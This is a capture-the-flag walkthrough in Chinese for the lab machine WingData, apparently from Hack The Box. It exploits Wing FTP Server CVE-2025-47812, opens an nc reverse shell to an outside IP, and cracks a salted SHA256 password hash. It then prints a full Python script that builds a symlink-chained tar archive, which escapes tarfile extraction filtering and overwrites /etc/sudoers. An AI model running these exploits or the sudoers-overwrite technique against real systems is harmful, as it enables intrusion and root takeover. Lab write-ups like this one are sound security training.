WingData
信息收集
得到一个ftp.wingdata.htb，也将这个加上
Wing FTP Server v7.4.3
通过搜寻cve是 CVE-2025-47812
漏洞利用（CVE-2025-47812）
4m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)
python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "whoami" -v
然后反弹shell
python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.16.5 8888 -e /bin/sh" -vpython3 -c 'import pty;pty.spawn("/bin/bash")'
然后在/opt/wftpserver/Data/1/users下的wacky.xml获得用户加密凭据
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
爆破hash(WingFTP 使用SHA256算法，并使用盐值“WingFTP”为加密方式)
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
得到密码!#7Blushing^*Bride5
wacky/c
然后ssh连接
得到user.txt
权限提升
先sudo -l看一下
可以看到有一个py脚本
我们去看一下
cat /opt/backup_clients/restore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparseBACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"def validate_backup_name(filename):if not re.fullmatch(r"^backup_\d+\.tar$", filename):return Falseclient_id = filename.split('_')[1].rstrip('.tar')return client_id.isdigit() and client_id != "0"def validate_restore_tag(tag):return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))def main():parser = argparse.ArgumentParser(description="Restore client configuration from a validated backup tarball.",epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john")parser.add_argument("-b", "--backup",required=True,help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, ""where <client_id> is a positive integer, e.g., backup_1001.tar)")parser.add_argument("-r", "--restore-dir",required=True,help="Staging directory name for the restore operation. ""Must follow the format: restore_<client_user> (e.g., restore_john). ""Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters).")args = parser.parse_args()if not validate_backup_name(args.backup):print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)sys.exit(1)backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)if not os.path.isfile(backup_path):print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)sys.exit(1)if not args.restore_dir.startswith("restore_"):print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)sys.exit(1)tag = args.restore_dir[8:]if not tag:print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)sys.exit(1)if not validate_restore_tag(tag):print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)sys.exit(1)staging_dir = os.path.join(STAGING_BASE, args.restore_dir)print(f"[+] Backup: {args.backup}")print(f"[+] Staging directory: {staging_dir}")os.makedirs(staging_dir, exist_ok=True)try:with tarfile.open(backup_path, "r") as tar:tar.extractall(path=staging_dir, filter="data")print(f"[+] Extraction completed in {staging_dir}")except (tarfile.TarError, OSError, Exception) as e:print(f"[!] Error during extraction: {e}", file=sys.stderr)sys.exit(2)if __name__ == "__main__":main()
我们利用这个脚本生成tar文件
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
生成恶意tar文件的漏洞利用脚本
作用：构造包含多层目录、符号链接的tar文件，尝试突破路径限制写入/etc/sudoers
"""import tarfile
import os
import io
import sysdef create_malicious_tar(output_path="/tmp/backup_9999.tar"):"""创建恶意tar文件，包含路径遍历和符号链接的构造Args:output_path: 生成的tar文件保存路径，默认/tmp/backup_9999.tar"""# 构造长目录名（247个d），用于突破路径长度限制long_dir_name = 'd' * 247# 用于构造多层目录的字符序列step_chars = "abcdefghijklmnop"current_path = ""try:# 以写模式打开tar文件with tarfile.open(output_path, mode="w") as tar:# 循环构造多层目录和符号链接for char in step_chars:# 1. 创建长目录名的目录项dir_info = tarfile.TarInfo(os.path.join(current_path, long_dir_name))dir_info.type = tarfile.DIRTYPE # 标记为目录类型tar.addfile(dir_info)# 2. 创建指向该长目录的符号链接symlink_info = tarfile.TarInfo(os.path.join(current_path, char))symlink_info.type = tarfile.SYMTYPE # 标记为符号链接类型symlink_info.linkname = long_dir_name # 链接指向长目录tar.addfile(symlink_info)# 更新当前路径，进入下一层current_path = os.path.join(current_path, long_dir_name)# 3. 构造多层符号链接路径，用于路径遍历link_path = os.path.join("/".join(step_chars), "l"*254)link_info = tarfile.TarInfo(link_path)link_info.type = tarfile.SYMTYPElink_info.linkname = "../" * len(step_chars) # 构造回退路径tar.addfile(link_info)# 4. 创建指向/etc目录的符号链接（escape）escape_info = tarfile.TarInfo("escape")escape_info.type = tarfile.SYMTYPEescape_info.linkname = f"{link_path}/../../../../../../../etc"tar.addfile(escape_info)# 5. 创建指向/etc/sudoers的硬链接（sudoers_link）sudoers_link_info = tarfile.TarInfo("sudoers_link")sudoers_link_info.type = tarfile.LNKTYPEsudoers_link_info.linkname = "escape/sudoers"tar.addfile(sudoers_link_info)# 6. 写入恶意内容到sudoers_link（覆盖/etc/sudoers）malicious_content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"file_info = tarfile.TarInfo("sudoers_link")file_info.type = tarfile.REGTYPE # 标记为普通文件类型file_info.size = len(malicious_content) # 指定文件大小# 将内容写入tar文件tar.addfile(file_info, fileobj=io.BytesIO(malicious_content))print(f"[+] 恶意tar文件已生成：{output_path}")except Exception as e:print(f"[!] 生成tar文件失败：{str(e)}", file=sys.stderr)sys.exit(1)if __name__ == "__main__":# 支持自定义输出路径（可选参数）if len(sys.argv) > 1:output_tar = sys.argv[1]else:output_tar = "/tmp/backup_9999.tar"create_malicious_tar(output_tar)
复制这个恶意的tar文件到sudo权限的目录下
cp backup_9999.tar /opt/backup_clients/backups/
然后运行这个sudo脚本
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil
这时候再去sudo
